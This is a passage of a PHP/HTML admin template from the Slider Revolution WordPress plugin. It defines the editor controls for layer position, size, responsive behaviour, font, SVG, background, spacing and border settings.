						<oneshort class="_nfr_"><label_icon class="ui_y"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-responsive="true" data-numeric="true" data-allowed="px" data-r="position.y.#size#.v" data-min="-3000" data-max="5000" type="text" id="layer_pos_y"></oneshort>
					</row>
					<row class="_nfr_ _nfc_">
						<onelong class="layersize_wrap layersize_wrap_width layersize_fullwidth layersize_cover layersize_cover-proportional"><label_icon class="ui_width"></label_icon><input data-numeric="true" data-allowed="%,px,auto,#/#" data-min="0" data-max="10000" data-updateviaevt="true" data-evt="layerSizeChange" data-evtparam="width" data-presets_text="Auto!100%!200px!#1/3#!#2/3#" data-responsive="true" data-presets_val="auto!100%!200px!#1/3#!#2/3#" data-r="size.width.#size#.v" type="text" id="layer_width"  class="layerinput smallinput easyinit input_with_presets callEvent"></onelong>
						<oneshort class="layersize_wrap layersize_wrap_height layersize_fullheight layersize_cover layersize_cover-proportional"><label_icon class="ui_height"></label_icon><input data-numeric="true" data-allowed="%,px,auto,#/#" data-min="0" data-max="10000" data-updateviaevt="true" data-evt="layerSizeChange" data-evtparam="height" data-presets_text="Auto!100%!200px!#1/3#!#2/3#" data-responsive="true" data-presets_val="auto!100%!200px!#1/3#!#2/3#" data-r="size.height.#size#.v" type="text" id="layer_height"  class="layerinput smallinput easyinit input_with_presets callEvent"></oneshort>
						<div id="reset_lock_media_size_layer" class="_nsft_ _nsfa_ _nsfb_">
							<div class="icon_trigger_wrap">
								<div id="layer_scaleprop_iconswitch" class="icon_switcher _nfr_ _nfc_ _nft_ _nfa_ _nsfsvg_" data-ref="#size_scaleProportional"><i class="material-icons icon_state_off">lock_open</i><i class="material-icons icon_state_on">lock_outline</i><input class="easyinit layerinput callEvent" id="size_scaleProportional" data-updateviaevt="true" data-evt="lockLayerRatio" data-setclasson="layer_scaleprop_iconswitch" data-class="icsw_on" type="checkbox" data-r="size.scaleProportional"></div>
								<div class="triggerEvent icon_trigger" data-evt="restoreLayersSize"><i class="material-icons mirrorhorizontal">refresh</i></div>
							</div>
						</div>
					</row>

					<div class="_nsfc_ _nsfr_ _nsft_ _nsfa_ _nsfb_ _nsfsvg_ _nsftbsic_">
						<label_a><?php _e('Size Presets', 'revslider');?></label_a><select id="layer_covermode" data-enable=".layersize_wrap " data-disable=".layersize_*val*" class="layerinput tos2 nosearchbox easyinit callEvent" data-updateviaevt="true" data-evt="layerSizePreset" data-r="size.covermode"><option value="custom" selected="selected"><?php _e('Custom Size', 'revslider');?></option><option value="fullwidth"><?php _e('Full Width', 'revslider');?></option><option value="fullheight"><?php _e('Full Height', 'revslider');?></option><option value="cover"><?php _e('Stretch', 'revslider');?></option><option value="cover-proportional"><?php _e('Cover', 'revslider');?></option></select>
					</div>
					<div class="_nflic_ _nvojcm_">
						<label_a><?php _e('Layer Align', 'revslider');?></label_a>
						<div class="radiooption">
							<div><input name="layer_within_align" class="layerinput easyinit" data-r="behavior.baseAlign" type="radio" value="grid"><label_sub><?php _e('Layer Area', 'revslider');?></label_sub></div>
							<div><input name="layer_within_align" class="layerinput easyinit" data-r="behavior.baseAlign" type="radio" value="slide"><label_sub><?php _e('Scene', 'revslider');?></label_sub></div>
						</div>
					</div>
				</div>
			</div>

			<!-- LAYER POSITION ADDITIONAL -->
			<div id="form_layerposition_additional" class="form_inner open _nsfc_">
				<div class="form_inner_header"><i class="material-icons">select_all</i><?php _e('Additional', 'revslider');?></div>
				<div class="collapsable">

					<row class="directrow _nsfr_ _nsfc_">
						<onelong><label_icon class="ui_minwidth"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed="px,none" data-presets_text="None" data-presets_val="none" data-numeric="true" data-responsive="true" data-r="size.minWidth.#size#.v" data-min="-3000" data-max="3000" type="text" id="layer_min_width"></onelong>
						<oneshort><label_icon class="ui_maxwidth"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed="px,none" data-presets_text="None" data-presets_val="none" data-numeric="true" data-responsive="true" data-r="size.maxWidth.#size#.v" data-min="-3000" data-max="3000" type="text" id="layer_max_width"></oneshort>
					</row>

					<row class="directrow">
						<onelong class="_nsfc_"><label_icon class="ui_minheight"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed="px,none" data-presets_text="None" data-presets_val="none" data-responsive="true" data-numeric="true" data-r="size.minHeight.#size#.v" data-min="-3000" data-max="3000" type="text" id="layer_min_height"></onelong>
						<oneshort class="_nsfc_ _nsfr_"><label_icon class="ui_maxheight"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed="px,none" data-presets_text="None" data-presets_val="none" data-responsive="true" data-numeric="true" data-r="size.maxHeight.#size#.v" data-min="-3000" data-max="3000" type="text" id="layer_max_height"></oneshort>
					</row>

				</div>
			</div>

			<div id="form_layerposition_advanced" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">photo_size_select_large</i><?php _e('Responsive Behavior', 'revslider');?></div>
				<div class="collapsable">

					<longoption><i class="material-icons">important_devices</i><label_a><?php _e('Intelligent Inheriting', 'revslider');?></label_a><input type="checkbox"  data-show="#intelligent_buttons_*val*" data-hide=".intelligent_buttons" data-updateviaevt="true" data-evt="intelligentInheritUpdate" id="layer_behavior_intelSize" class="layerinput easyinit callEvent" data-r="behavior.intelligentInherit" /></longoption>
					<div class="div10"></div>
					<div id="intelligent_buttons_true" class="intelligent_buttons fullbutton basic_action_button callEventButton" data-evt="resetIntelligentInherits"><i class="material-icons">refresh</i>Inherit All Values from Desktop</div>
					<div id="intelligent_buttons_false" class="intelligent_buttons fullbutton basic_action_button callEventButton" data-evt="inheritValuesFromDesktop"><i class="material-icons">refresh</i>Reset All Values from Desktop</div>
					<div class="div5"></div>
					<longoption><i class="material-icons">launch</i><label_a><?php _e('Resize Between Devices', 'revslider');?></label_a><input type="checkbox"  id="layer_behavior_autoResponsive" class="layerinput easyinit" data-r="behavior.autoResponsive" /></longoption>
					<div class="_nsfr_ _nsfc_">
						<longoption><i class="material-icons">picture_in_picture</i><label_a><?php _e('Responsive Offsets', 'revslider');?></label_a><input type="checkbox"  id="layer_behavior_responsiveOffset" class="layerinput easyinit" data-r="behavior.responsiveOffset" /></longoption>
						<longoption><i class="material-icons">folder_shared</i><label_a><?php _e('Responsive Children', 'revslider');?></label_a><input type="checkbox"  id="layer_behavior_responsiveChilds" class="layerinput easyinit" data-r="behavior.responsiveChilds" /></longoption>
					</div>
					<div class="div5"></div>
				</div>
			</div>

		</div>
	</div><!-- END OF LAYER POSITION CONTAINER -->


	<!-- LAYER STYLE CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_style"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_3" data-unselect=".layer_submodule_trigger">
			<!--<div class="collectortabwrap"><div id="collectortab_form_layer_style" class="collectortab form_menu_inside" data-forms='["#form_layer_style"]'><i class="material-icons">color_lens</i><?php _e('Style', 'revslider');?></div></div>					-->
			<ul class="form_menu_level_1">
				<li data-target="#form_layerstyle_font" class="form_menu_level_1_li selected" id="lstyle_l1_1"><?php _e('Font', 'revslider');?></li>
				<li data-target="#form_layerstyle_bg" class="form_menu_level_1_li" id="lstyle_l1_2"><?php _e('Background', 'revslider');?></li>
			</ul>

			<div id="form_layerstyle_lineheight" class="form_inner open _shfc_">
				<div class="form_inner_header"><i class="material-icons">title</i><?php _e('Line Height', 'revslider');?></div>
				<div class="collapsable">
					<row class="directrow __idle__">
						<onelong><label_icon class="ui_lineheight"></label_icon><input data-evt="updateLayerPosition" class="layerinput valueduekeyboard smallinput easyinit callEvent" data-allowed="px"  data-numeric="true" data-responsive="true" data-r="idle.lineHeight.#size#.v" data-max="500" type="text" id="layer_line_height_idle_all"></onelong>
						<oneshort></oneshort>
					</row>
				</div>
			</div>
			<!-- LAYER STYLE FONT -->
			<div id="form_layerstyle_font" class="form_inner open _shft_">
				<div class="form_inner_header"><i class="material-icons">title</i><?php _e('Font & Icon', 'revslider');?></div>
				<div class="collapsable">

					<row class="directrow __idle__">
						<onelong><label_icon class="ui_fontsize"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed="px"  data-numeric="true" data-responsive="true" data-r="idle.fontSize.#size#.v"  data-max="500" type="text" id="layer_font_size_idle"></onelong>
						<oneshort><label_icon class="ui_lineheight"></label_icon><input data-evt="updateLayerPosition" class="layerinput valueduekeyboard smallinput easyinit callEvent" data-allowed="px"  data-numeric="true" data-responsive="true" data-r="idle.lineHeight.#size#.v" data-max="500" type="text" id="layer_line_height_idle"></oneshort>
					</row>
					<row class="directrow __idle__">
						<onelong><label_icon class="ui_fontweight"></label_icon><select id="layer_fontweight_idle" data-theme="min120" data-evt="updateFontFamily" data-evtparam="fontweight" class="layerinput tos2 nosearchbox easyinit" data-responsive="true" data-r="idle.fontWeight.#size#.v"><option value="100">100 Thin</option><option value="200">200 Extra-Light</option><option value="300">300 Light</option><option selected="selected" value="400">400 Regular</option><option value="500">500 Medium</option><option value="600">600 Semi-Bold </option><option value="700">700 Bold</option><option value="800">800 Extra-Bold</option><option value="900">900 Black</option></select></onelong>
						<oneshort><label_icon class="ui_letterspacing"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-responsive="true" data-r="idle.letterSpacing.#size#.v" data-min="-100" data-max="100" type="text" id="layer_letter_spacing_idle"></oneshort>
					</row>
					<div class="div10"></div>
					<label_a></label_a><div id="quick_style_trigger" data-evt="quickstyletrigger" class="longbutton basic_action_button callEventButton"><i class="toptoolbaricon material-icons">invert_colors</i><?php _e('Quick Style', 'revslider');?></div>
					<div class="div10"></div>
					<div class="show_more_toggle" data-toggle="#more_font_style"><div class="shmt_bar"></div><div class="shmt_textmore"><?php _e('More', 'revslider');?><i class="material-icons">add</i></div><div class="shmt_textless"><?php _e('Less', 'revslider');?><i class="material-icons">remove</i></div></div>
					<div id="more_font_style" style="display:none">
						<div class="div15"></div>
						<row class="directrow __idle__">
							<onelong><label_icon class="ui_fontstyle"></label_icon><input type="checkbox" data-evt="updateFontFamily"  id="layer_fontStyle" class="layerinput easyinit" data-r="idle.fontStyle"/></onelong>
							<oneshort><label_icon class="ui_textdecoration"></label_icon><select id="layer_textdecoration_idle" class="layerinput tos2 nosearchbox easyinit" data-theme="minl120" data-r="idle.textDecoration"><option selected="selected" value="none">None</option><option value="underline"><?php _e('Underline', 'revslider');?></option><option value="overline"><?php _e('Overline', 'revslider');?></option><option value="line-through"><?php _e('Line-through', 'revslider');?></option></select></oneshort>
						</row>
						<row class="directrow __idle__">
							<onelong><label_icon class="ui_uppercase"></label_icon><select id="layer_texttransform" class="layerinput tos2 nosearchbox easyinit" data-theme="min150"  data-r="idle.textTransform"><option selected="selected" value="none">None</option><option value="uppercase"><?php _e('Uppercase', 'revslider');?></option><option value="lowercase"><?php _e('Lowercase', 'revslider');?></option><option value="capitalize"><?php _e('Capitalize', 'revslider');?></option></select></onelong>
							<oneshort><label_icon class="ui_selectable"></label_icon><select id="layer_selectable" class="layerinput tos2 nosearchbox easyinit" data-theme="minl120"  data-r="idle.selectable"><option selected="selected" value="default">Default</option><option value="on"><?php _e('Selectable', 'revslider');?></option><option value="off"><?php _e('Unselectable', 'revslider');?></option></select></oneshort>
						</row>
					</div>
					<div class="div15"></div>
					<div class="__idle__"><label_a><?php _e('Font Family', 'revslider');?></label_a><select id="layer_fontfamily" class="layerinput easyinit searchbox tos2" data-evt="updateFontFamily" data-theme="fontfamily" data-r="idle.fontFamily"></select></div>
					<div class="__idle__"><label_a><?php _e('Text Color', 'revslider');?></label_a><input type="text" data-editing="Layer Text Color" data-mode="single" name="layerTextColor" id="layerTextColor" class="my-color-field layerinput easyinit" data-visible="true" data-responsive="true" data-r="idle.color.#size#.v" value="transparent"></div>
					<div class="_ltsel_color"><label_a><?php _e('Color in Frame', 'revslider');?></label_a><input type="text" data-editing="Layer Text Color in Frame" data-mode="single" name="layerTextColorInFrame" id="layerTextColorInFrame" class="my-color-field layerinput easyinit" data-visible="true" data-r="#frame#.color.color" value="transparent"></div>

				</div>
			</div>

			<!-- LAYER STYLE SVG -->
			<div id="form_layerstyle_svg" class="form_inner open _shfsvg_">
				<div class="form_inner_header"><i class="material-icons">gesture</i><?php _e('SVG', 'revslider');?></div>

				<div class="collapsable">
					<!-- SVG IDLE STYLE-->
					<div class="__idle__">
						<longoption><i class="material-icons">trip_origin</i><label_a><?php _e('Keep Original Colors', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-showhide=".svglayer_simplecoloring" data-showhidedep="false" data-r="idle.svg.originalColor"></longoption>
						<div class="svglayer_simplecoloring">
							<div class="div15"></div>
							<div><label_a><?php _e('SVG Color', 'revslider');?></label_a><input type="text" data-editing="SVG Color" data-mode="single" name="layerSVGColor" id="layerSVGColor" class="my-color-field layerinput easyinit" data-visible="true" data-r="idle.svg.color.#size#.v" value="transparent"></div>
							<div class="div5"></div>
							<div><label_a><?php _e('Stroke Color', 'revslider');?></label_a><input type="text" data-editing="Stroke Color" data-mode="single" name="layerStrokeColor" id="layerStrokeColor" class="my-color-field layerinput easyinit" data-visible="true" data-r="idle.svg.strokeColor" value="transparent"></div>
							<div class="div15"></div>
							<row class="directrow">
								<onelong><label_icon class="ui_strokewidth"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed="px"  data-numeric="true" data-r="idle.svg.strokeWidth" data-min="-1" data-max="500" type="text"></onelong>
								<oneshort><label_icon class="ui_strokedasharray"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-r="idle.svg.strokeDashArray" type="text"></oneshort>
							</row>
							<row class="directrow">
								<onelong><label_icon class="ui_strokedashoffset"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed="px"  data-numeric="true" data-r="idle.svg.strokeDashOffset" data-min="0" data-max="500" type="text"></onelong>
								<oneshort></oneshort>
							</row>
							<div class="div25"></div>
							<longoption><label_a><?php _e('Style All Elements', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput" data-evt="SvgSelectAllChanged" data-r="idle.svg.styleAll"></longoption>
						</div>
					</div>
				</div>
			</div>

			<!-- LAYER STYLE BACKGROUND -->
			<div id="form_layerstyle_bg" class="form_inner open _nsfv_">
				<div class="form_inner_header"><i class="material-icons">color_lens</i><?php _e('Background', 'revslider');?></div>
				<div class="collapsable">					
					<div class="__idle__"><label_a><?php _e('BG Color', 'revslider');?></label_a><input type="text" data-editing="Layer BG Color" name="layerBGColor" id="layerBGColor" class="my-color-field layerinput easyinit" data-visible="true" data-r="idle.backgroundColor" value="transparent"></div>
					<div class="_ltsel_bgcolor"><label_a><?php _e('BG in Frame', 'revslider');?></label_a><input type="text" data-editing="Frame BG Color Animation" name="frameBGColorAnimationDouble" id="frameBGColorAnimationDouble" class="my-color-field layerinput easyinit" data-visible="true" data-r="#frame#.bgcolor.backgroundColor" value="transparent"></div>
					<div class="div15"></div>
					<row class="direktrow __idle__ _nsfi_ _nsfv_">						
						<onelong><label_a><?php _e('BG Image', 'revslider');?></label_a><div class="miniprevimage_wrap"><i class="material-icons">filter_hdr</i><div id="layer_bg_image" data-showadvbg="#layer_bg_adv_settings"></div><div data-evt="updatelayerbgimage" data-r="idle.backgroundImage" data-rid="idle.backgroundImageId" data-lib="idle.bgimagelib" data-default="" class="resettodefault basic_action_button callEventButton layerinput onlyicon"><i class="material-icons">close</i></div></div></onelong>
						<oneshort>
							<div data-evt="updatelayerbgimage" data-r="idle.backgroundImage" data-rid="idle.backgroundImageId" data-lib="idle.bgimagelib" data-sty="behavior.imageSourceType" class="getImageFromMediaLibrary basic_action_button callEventButton layerinput"><i class="material-icons">style</i><?php _e('Media', 'revslider');?></div>
							<div data-evt="updatelayerbgimage" data-r="idle.backgroundImage" data-rid="idle.backgroundImageId" data-lib="idle.bgimagelib" data-sty="behavior.imageSourceType" class="getImageFromObjectLibrary basic_action_button callEventButton layerinput"><i class="material-icons">camera_enhance</i><?php _e('Object', 'revslider');?></div>							
						</oneshort>
					</row>


					<!-- USED LIBRARY TYPE-->
					<div style="display:none"><label_a class="singlerow"><?php _e('Used Library', 'revslider');?></label_a><select class="layerinput easyinit" data-r="idle.bgimagelib" data-show="#layerbg_srctype_*val*" data-hide=".layerbg_srctype_all" data-showprio="show"><option value="">Nothing</option><option value="objectlibrary">Objectlibrary</option><option value="medialibrary">MediaLibrary</option></select></div>

					<!-- SIZE / SRC PICKER FOR CURRENT USED LIBRARY TYPE-->
					<div id="layerbg_srctype_objectlibrary" class="layerbg_srctype_all"><label_a class="singlerow"><?php _e('Image Size', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit" data-evt="getNewImageSize" data-evtparam="bg.object" data-r="behavior.imageSourceType"><option value="100" selected="selected"><?php _e("Original", 'revslider');?></option><option value="75" selected="selected"><?php _e("Large", 'revslider');?></option><option value="50" selected="selected"><?php _e("Medium", 'revslider');?></option><option value="25" selected="selected"><?php _e("Small", 'revslider');?></option><option value="10" selected="selected"><?php _e("Extra Small", 'revslider');?></option></select></div>
					<div id="layerbg_srctype_medialibrary" class="layerbg_srctype_all"><label_a class="singlerow"><?php _e('Source Type', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit" data-evt="getNewImageSize" data-evtparam="bg.media" data-r="behavior.imageSourceType"><option value="auto" selected="selected"><?php _e("Default Setting", 'revslider');?></option><?php foreach ($img_sizes as $imghandle => $imgSize) { echo '<option value="' . $imghandle . '">' . $imgSize . '</option>';}?></select></div>

					
									




					<div id="layer_bg_adv_settings">
						<div class="div15"></div>
						<select style="display:none !important" id="layer_bgimage_pos" data-unselect=".layer_bg_position_selector" data-select="#layer_bg_position_*val*"  class="layerinput easyinit"  data-r="idle.backgroundPosition"><option value="left center"><?php _e('left center', 'revslider');?></option><option value="left bottom"><?php _e('left bottom', 'revslider');?></option><option value="left top"><?php _e('left top', 'revslider');?></option><option value="center top"><?php _e('center top', 'revslider');?></option><option value="center center"><?php _e('center center', 'revslider');?></option><option value="center bottom"><?php _e('center bottom', 'revslider');?></option>																				<option value="right top"><?php _e('right top', 'revslider');?></option><option value="right center"><?php _e('right center', 'revslider');?></option><option value="right bottom"><?php _e('right bottom', 'revslider');?></option></select>
						<row class="direktrow __idle__">
							<onelong>
								<label_a><?php _e('Position', 'revslider');?></label_a><!--
									--><div class="bg_alignselector_wrap">
										<div class="bg_align_row">
											<div class="triggerselect layer_bg_position_selector bg_alignselector" data-select="#layer_bgimage_pos" data-val="left top" id="layer_bg_position_left-top"></div>
											<div class="triggerselect layer_bg_position_selector bg_alignselector" data-select="#layer_bgimage_pos" data-val="center top" id="layer_bg_position_center-top"></div>
											<div class="triggerselect layer_bg_position_selector bg_alignselector" data-select="#layer_bgimage_pos" data-val="right top" id="layer_bg_position_right-top"></div>
										</div>
										<div class="bg_align_row">
											<div class="triggerselect layer_bg_position_selector bg_alignselector" data-select="#layer_bgimage_pos" data-val="left center" id="layer_bg_position_left-center"></div>
											<div class="triggerselect layer_bg_position_selector bg_alignselector" data-select="#layer_bgimage_pos" data-val="center center" id="layer_bg_position_center-center"></div>
											<div class="triggerselect layer_bg_position_selector bg_alignselector" data-select="#layer_bgimage_pos" data-val="right center" id="layer_bg_position_right-center"></div>
										</div>
										<div class="bg_align_row">
											<div class="triggerselect layer_bg_position_selector bg_alignselector" data-select="#layer_bgimage_pos" data-val="left bottom" id="layer_bg_position_left-bottom"></div>
											<div class="triggerselect layer_bg_position_selector bg_alignselector" data-select="#layer_bgimage_pos" data-val="center bottom" id="layer_bg_position_center-bottom"></div>
											<div class="triggerselect layer_bg_position_selector bg_alignselector" data-select="#layer_bgimage_pos" data-val="right bottom" id="layer_bg_position_right-bottom"></div>
										</div>
									</div>
							</onelong>
							<oneshort>
								<label_icon class="ui_fit"></label_icon><select id="layer_bgimage_fit" data-theme="minl120" class="layerinput tos2 nosearchbox easyinit" data-r="idle.backgroundSize" data-show=".bgIdleSize_*val*" data-hide=".bgIdleSize_perpix"><option value="cover">cover</option><option value="contain">contain</option><option value="auto">auto</option><option value="percentage">%</option><option value="pixel">px</option></select>
								<label_icon class="ui_repeat"></label_icon><select id="layer_bgimage_repeat" data-theme="minl120" class="layerinput tos2 nosearchbox easyinit" data-r="idle.backgroundRepeat" ><option value="no-repeat">no-repeat</option><option value="repeat">repeat</option><option value="repeat-x">repeat-x</option><option value="repeat-y">repeat-y</option></select>
								<div class="bgIdleSize_percentage bgIdleSize_perpix"><label_a>%</label_a><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed=""  data-responsive="false" data-numeric="true" data-r="idle.backgroundSizePerc" data-min="0" data-max="2000" type="text"></div>
								<div class="bgIdleSize_pixel bgIdleSize_perpix"><label_a>PX</label_a><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed=""  data-responsive="false" data-numeric="true" data-r="idle.backgroundSizePix" data-min="0" data-max="2000" type="text"></div>
							</oneshort>
						</row>
					</div>
					<!-- STREAM BASED IMAGE BG -->
					<div class="__idle__ _nsfi_ _nsfv_">						
						<div class="div25"></div>
						<longoption><i class="material-icons">language</i><label_a ><?php _e('Image from Stream if exist', 'revslider');?></label_a><input type="checkbox" class="easyinit layerinput callEvent" data-showhide="#layerbg_srctype_streamlibrary" data-showhidedep="true" data-evt="updatelayerbgimage" data-r="idle.bgFromStream"></longoption>
						<div class="div5"></div>
						<div id="layerbg_srctype_streamlibrary"><label_a class="singlerow"><?php _e('Stream Size', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit"  data-r="behavior.streamSourceType"><option value="auto" selected="selected"><?php _e("Default Setting", 'revslider');?></option><?php foreach ($img_sizes as $imghandle => $imgSize) { echo '<option value="' . $imghandle . '">' . $imgSize . '</option>';}?></select></div>						
					</div>	
				</div>
			</div>

			<!-- LAYER SPACINGS -->
			<div id="form_layerstyle_space" class="form_inner open _nsfg_">
				<div class="form_inner_header"><i class="material-icons">more_horiz</i><?php _e('Spacings', 'revslider');?></div>
				<div class="collapsable">
					<row class="directrow">
						<oneabsolute><div id="layer_marginlock_iconswitch" class="icon_switcher" data-ref="#layer_margin_lock"><i class="material-icons icon_state_off">lock_open</i><i class="material-icons icon_state_on">lock_outline</i><input class="easyinit layerinput callEvent" id="layer_margin_lock" data-updateviaevt="true" data-evt="lockMargin" data-setclasson="layer_marginlock_iconswitch" data-class="icsw_on" type="checkbox" data-r="idle.marginLock"></div></oneabsolute>
						<onelong><label_icon class="ui_margin_top"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateMarginInput" data-evtparam="0" data-allowed="px"  data-responsive="true" data-numeric="true" data-r="idle.margin.#size#.v.0" data-min="-500" data-max="2000" type="text"></onelong>
						<oneshort><label_icon class="ui_margin_right"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateMarginInput" data-evtparam="1" data-allowed="px"  data-responsive="true" data-numeric="true" data-r="idle.margin.#size#.v.1" data-min="-500" data-max="2000" type="text"></oneshort>
					</row>
					<row>
						<onelong><label_icon class="ui_margin_bottom"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateMarginInput" data-evtparam="2" data-allowed="px"  data-responsive="true" data-numeric="true" data-r="idle.margin.#size#.v.2" data-min="-500" data-max="2000" type="text"></onelong>
						<oneshort><label_icon class="ui_margin_left"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateMarginInput" data-evtparam="3" data-allowed="px"  data-responsive="true" data-numeric="true" data-r="idle.margin.#size#.v.3" data-min="-500" data-max="2000" type="text"></oneshort>
					</row>

					<row class="directrow">
						<oneabsolute><div id="layer_paddinglock_iconswitch" class="icon_switcher" data-ref="#layer_padding_lock"><i class="material-icons icon_state_off">lock_open</i><i class="material-icons icon_state_on">lock_outline</i><input class="easyinit layerinput callEvent" id="layer_padding_lock" data-updateviaevt="true" data-evt="lockPadding" data-setclasson="layer_paddinglock_iconswitch" data-class="icsw_on" type="checkbox" data-r="idle.paddingLock"></div></oneabsolute>
						<onelong><label_icon class="ui_padding_top"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" id="idle_layer_padding_top" data-updateviaevt="true" data-evt="updatePaddingInput" data-evtparam="0" data-allowed="px"  data-responsive="true" data-numeric="true" data-r="idle.padding.#size#.v.0" data-min="0" data-max="1000" type="text"></onelong>
						<oneshort><label_icon class="ui_padding_right"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updatePaddingInput" data-evtparam="1" data-allowed="px"  data-numeric="true" data-responsive="true" data-r="idle.padding.#size#.v.1" data-min="0" data-max="1000" type="text"></oneshort>
					</row>
					<row>
						<onelong><label_icon class="ui_padding_bottom"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updatePaddingInput" data-evtparam="2" data-allowed="px"  data-numeric="true" data-responsive="true" data-r="idle.padding.#size#.v.2" data-min="0" data-max="1000" type="text"></onelong>
						<oneshort><label_icon class="ui_padding_left"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updatePaddingInput" data-evtparam="3" data-allowed="px"  data-numeric="true" data-responsive="true" data-r="idle.padding.#size#.v.3" data-min="0" data-max="1000" type="text"></oneshort>
					</row>

					<select style="display:none !important" id="layer_content_halign" data-unselect=".layer_content_hor_selector" data-select="#layer_content_halign_*val*" class="layerinput easyinit" data-responsive="true" data-r="idle.textAlign.#size#.v"><option value="left"><?php _e('Left', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option><option value="inherit"><?php _e('Inherit', 'revslider');?></option></select>
					<select style="display:none !important" id="layer_content_valign" data-unselect=".layer_content_ver_selector" data-select="#layer_content_valign_*val*" class="layerinput easyinit" data-responsive="true" data-r="idle.verticalAlign"><option value="top"><?php _e('Top', 'revslider');?></option><option value="middle"><?php _e('Middle', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option></select>



				</div>
			</div>


			<!-- LAYER BORDER -->
			<div id="form_layerstyle_border" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">rounded_corner</i><?php _e('Border', 'revslider');?></div>
				<div class="collapsable">
					<div class="__idle__">
						<label_a><?php _e('Border Color', 'revslider');?></label_a><input type="text" data-mode="single" data-editing="Layer Border Color" name="layerBorderColor" id="layerBorderColor" class="my-color-field layerinput easyinit" data-visible="true" data-r="idle.borderColor" value="transparent"><div class="linebreak"></div>
						<div class="div5"></div>
						<label_a><?php _e('Border Style', 'revslider');?></label_a><select id="layer_border_style" class="layerinput tos2 nosearchbox easyinit" data-responsive="true" data-r="idle.borderStyle.#size#.v" data-show=".border_style_advanced" data-hide="#border_style_*val*" data-showprio="hide"><option value="none"><?php _e('None', 'revslider');?></option><option value="solid"><?php _e('Solid', 'revslider');?></option><option value="dashed"><?php _e('Dashed', 'revslider');?></option><option value="dotted"><?php _e('Dotted', 'revslider');?></option><option value="double"><?php _e('Double', 'revslider');?></option></select>
						<div class="div10"></div>
						<div id="border_style_none" class="border_style_advanced">
							<row class="directrow">
								<oneabsolute><div id="layer_borderlock_iconswitch" class="icon_switcher" data-ref="#layer_border_lock"><i class="material-icons icon_state_off">lock_open</i><i class="material-icons icon_state_on">lock_outline</i><input class="easyinit layerinput callEvent" id="layer_border_lock" data-updateviaevt="true" data-evt="lockBorder" data-setclasson="layer_borderlock_iconswitch" data-class="icsw_on" type="checkbox" data-r="idle.borderWidthLock"></div></oneabsolute>
								<onelong><label_icon class="ui_border_top"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderInput" data-evtparam="0" data-allowed="px"  data-numeric="true" data-r="idle.borderWidth.0" data-min="-500" data-max="500" type="text"></onelong>
								<oneshort><label_icon class="ui_border_right"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderInput" data-evtparam="1" data-allowed="px"  data-numeric="true" data-r="idle.borderWidth.1" data-min="-500" data-max="500" type="text"></oneshort>
							</row>
							<row>
								<onelong><label_icon class="ui_border_bottom"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderInput" data-evtparam="2" data-allowed="px"  data-numeric="true" data-r="idle.borderWidth.2" data-min="-500" data-max="500" type="text"></onelong>
								<oneshort><label_icon class="ui_border_left"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderInput" data-evtparam="3" data-allowed="px"  data-numeric="true" data-r="idle.borderWidth.3" data-min="-500" data-max="500" type="text"></oneshort>
							</row>
						</div>

						<row class="directrow">
							<oneabsolute><div id="layer_borderRadiuslock_iconswitch" class="icon_switcher" data-ref="#layer_borderRadius_lock"><i class="material-icons icon_state_off">lock_open</i><i class="material-icons icon_state_on">lock_outline</i><input class="easyinit layerinput callEvent" id="layer_borderRadius_lock" data-updateviaevt="true" data-evt="lockBorderRadius" data-setclasson="layer_borderRadiuslock_iconswitch" data-class="icsw_on" type="checkbox" data-r="idle.borderRadiusLock"></div></oneabsolute>
							<onelong><label_icon class="ui_bradius_topleft"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderRadiusInput" data-evtparam="0" data-allowed="px,%"  data-numeric="true" data-r="idle.borderRadius.v.0" data-min="-500" data-max="500" type="text"></onelong>
